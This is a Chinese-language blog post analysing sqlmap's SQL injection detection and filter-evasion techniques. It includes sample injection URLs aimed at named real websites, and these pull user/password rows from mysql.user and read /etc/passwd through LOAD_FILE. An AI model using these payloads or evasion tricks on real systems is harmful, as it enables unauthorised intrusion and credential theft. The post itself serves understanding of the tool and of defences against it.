sqlmap 中的 SQL Injection 检测技术
https://github.com/henices/sqli
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)
基于信道的 sql injection 分类
Inband
SQL代码注入和SQL injection 结果的获取在同一频道(e.g. 浏览器), 获得的数据直接显示在应用程序页面的正常输出或者错误信息中,这是最简单的攻击类型。
Out-of-band
SQL查询数据的传输使用不同的频道(e.g HTTP,DNS), 这是从数据库中获取大量数据简单的方法。
Inferential
没用真实有用的数据传输,但是攻击者可以通过发送特定的请求,观察数据库服务器的返回的结果的行为重建信息。
基于 sql inject 检测技术的分类
boolean-based blind SQL injection
也被称为推理SQL注入:SqlMap替换或追加HTTP请求中受影响的参数,一个有效的SQL语句字符串包含 SELECT 子语句,或任何其他用户要检索输出的SQL语句。对于每个HTTP响应,将其 headers/body和原始请求的做比较,该工具一个字符一个字符地分析的注入语句的输出。另外,用户可以提供一个字符串或正则表达式匹配正确的页面。使用SqlMap实现的二分算法来实施执行此技术可以获取七个最大的每个HTTP请求的输出的每一个字符。凡不属于输出纯文本纯字符集,SqlMap将适应与更大范围的算法来检测输出。
error-based SQL injection
sqlmap替换或者追加受影响的HTTP参数一个特定数据的语法错误的SQL语句,分析HTTP 响应header和body,查询DBMS错误信息中是否包含注入的预先定义的字符串链,并且SQL语句的输出在字符串链的中间.这种技术仅在web应用程序被配置成泄漏后端数据库管理系统错误信息时有效。
time-based blind or stacked queries
也被称为全盲SQL注入:SqlMap替换或追加HTTP请求中受影响的参数,构造一个有效的SQL语句字符串包含一个查询,使后端DBMS sleep几秒钟。对于每个HTTP响应,比较其响应时间与原始请求的HTTP响应时间,该工具一个字符一个字符地分析的注入语句的输出。和boolean-based技术一样,同样应用了二分算法(bisection algorithm)。
UNION query SQL injection
SqlMap 追加受影响的参数一个以UNION ALL SELECT开始的有效的SQL语句字符串。这种技术当Web应用程序页面内将SELECT语句的同一周期输出,或者类似的,网页上的内容中显示查询结果的每一行时有效。SqlMap是还可以利用部分UNION 查询的SQL注入漏洞,当SQL语句的输出不是在一个周期内的,在构造的区域内只有在查询输出的第一项被显示。
Stacked queries SQL injection
也被称为多语句SQL注入(multiple statements SQL injection):SqlMap 测试 Web 应用程序是否支持批量叠查询, 然后,它支持的情况下,它附加到HTTP请求中受影响的参数,一个分号(;) 随后的SQL语句会被执行。这种技术在执行 SELECT以外的SQL语句时非常有用,根据后端数据库管理系统的不同用户和会话特权,数据定义和数据操作SQL语句可能导致文件系统的读写访问和操作系统命令执行的。
SQL Injection 检测的逃逸技术
随机大小写
1 | INSERT => InsERt |
支持的数据库类型:
数据库 | 是否支持 |
---|---|
MSSQL | 支持 |
MySQL | 支持 |
PostgreSQL | 支持 |
Oracle | 支持 |
空格用注释替换
1 | SELECT id FROM users => SELECT/**/id/**/FROM/**/users |
支持的数据库类型:
数据库 | 是否支持 |
---|---|
MSSQL | 支持 |
MySQL | 支持 |
PostgreSQL | 支持 |
Oracle | 支持 |
Access | 不支持 |
Oracle 10g 测试
1 | SQL> select/**/*/**/from v$version; |
1 | BANNER |
PostgreSQL:
1 | postgres=# select/*abc*/version(); |
1 | version |
随机注释
1 | INSERT => IN/**/S/**/ERT |
本身语法不支持,但可以对付不正确的过滤.
1 | postgres=# selec/**/t version(); |
ERROR: syntax error at or near “selec” 在字符 1
第 1 行: selec/**/t version();
Oracle:
1 | SQL> sel/**/ect v$version; |
SP2-0734: unknown command beginning “sel/**/ect…” - rest of line ignored.
空格用+替换
1 | SELECT id FROM users => SELECT+id+FROM+users |
随机空格替换
1 | SELECT id FROM users => SELECT\rid\tFROM\nusers |
数据库 | 是否支持 |
---|---|
MSSQL | 支持 |
Mysql | 支持 |
PostgreSQL | 支持 |
Oracle | 支持 |
1 | $echo -e "select\t*from\tv\$version;"| sqlplus "/ as sysdba" |
1 | echo -e "select\tversion();" | psql -U postgres |
urlencode
1 | SELECT FIELD FROM%20TABLE' => '%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45' |
between 替换
1 | A > B' => 'A NOT BETWEEN 0 AND B |
逃避正则表达式检测
1 | or 1=1 使用 or 'a'='a' |
DBMS分析技术
通过错误信息分析DBMS
1 |
|
更详细地需要DBMS fingerprint 识别技术
检测SQL Injection 的报文
- 检查参数是否动态
1 | def checkDynParam(place, parameter, value): |
启发式检测,长度为10的 “,’, ), ( 随机字符串, 使用python RandomStr, 如果发生已知错误,报可能存在sql injection, 可能的数据库
基于risk 和 level的级别,使用payloads.xml中的报文进行检测
判断url连接是否稳定,连续连接url两次,如果返回内容完全相同,则认为url稳定。
NullConnection http://www.wisec.it/sectou.php?id=472f952d79293
怎么判断injected payload 成功
comparison 算法, boolean-based blind SQL injections
使用 difflib.SequenceMatcher, 基于页面相似度如果请求发生错误,所有不正确的请求都认为正确。
1 | def comparison(page, getRatioValue=False, pageLength=None): |
grep(正则表达式), error-based SQL injection, 可以检查
MS SQL server, Oracle, Mysql等,使用的语句,使用随机字符串查询,如果返回结果的body,或者头部信息中包含我们构造的随机字符串,则认为存在漏洞.具体数据可以使用sqlmap, payloads.xml,例子:
MySQL >= 5.0 AND error-based - WHERE or HAVING clause
1 | http://to.goojje.com/qunba.php?ac=thread_qb&tid=9136%20AND%20(SELECT%209066%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,106,108,98,58),(MID((IFNULL(CAST(VERSION()%20AS%20CHAR),CHAR(32))),1,50)),CHAR(58,108,112,108,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a) |
urldecode 后:
1 | http://to.goojje.com/qunba.php?ac=thread_qb&tid=9136 AND (SELECT 9066 FROM(SELECT COUNT(*),CONCAT(CHAR(58,106,108,98,58),(MID((IFNULL(CAST(VERSION() AS CHAR),CHAR(32))),1,50)),CHAR(58,108,112,108,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) |
- CONCAT 字符串连接
- IFNULL 判断是否为空
- CAST 将字符串转化为不同的字符集
- MID 字符串截取 MID(string, position[, length])
- CHAR(58,106,108,98,58) => :bjl:
- CHAR(58,108,112,108,58) => :lpl:
利用的Mysql的一个特性,http://bugs.mysql.com/bug.php?id=32249
Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
这部分没有记录。
PostgreSQL AND error-based - WHERE or HAVING clause
这部分没有记录。
Oracle AND error-based - WHERE or HAVING clause (XMLType)
1 | http://to.goojje.com/qunba.php?ac=thread_qb&tid=9136 AND (SELECT 6531 FROM(SELECT COUNT(*),CONCAT(CHAR(58,121,121,98,58),(SELECT MID(IFNULL(CAST(concat(user,char(58),password) AS CHAR), CHAR(32)),1,50) FROM mysql.user LIMIT 0,1),CHAR(58,106,116,113,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) |
unionTest() 函数,UNION query (inband) SQL injection
(1) 设置union 使用的字符和注释
(2) 判断union查询的列数
1 | def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char, multipleUnions=None, limited=False): |
(3) 根据不同的数据库加上必要的from 表名
(4) 再次验证
1 | def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): |
1 | http://ipv6.tsinghua.edu.cn/end.php?ID=-3255%20UNION%20ALL%20SELECT%20NULL,%20CONCAT%28CHAR%2858,107,113,117,58%29,IFNULL%28CAST%28LOAD_FILE%28CHAR%2847,101,116,99,47,104,111,115,116,115%29%29%20AS%20CHAR%29,CHAR%2832%29%29,CHAR%2858,101,114,112,58%29%29,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL# |
1 | http://ipv6.tsinghua.edu.cn/end.php?ID=-8675%20UNION%20ALL%20SELECT%20NULL,%20CONCAT%28CHAR%2858,108,100,107,58%29,IFNULL%28CAST%28LOAD_FILE%28CHAR%2847,101,116,99,47,112,97,115,115,119,100%29%29%20AS%20CHAR%29,CHAR%2832%29%29,CHAR%2858,111,121,105,58%29%29,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL# |
基于响应时间, time-based blind and stacked queries SQL injections
判断是否delay,在 lib/core/common.py 中wasLastRequestDelayed 实现根据统计结果,sqlmap 注释
1 | def wasLastRequestDelayed(): |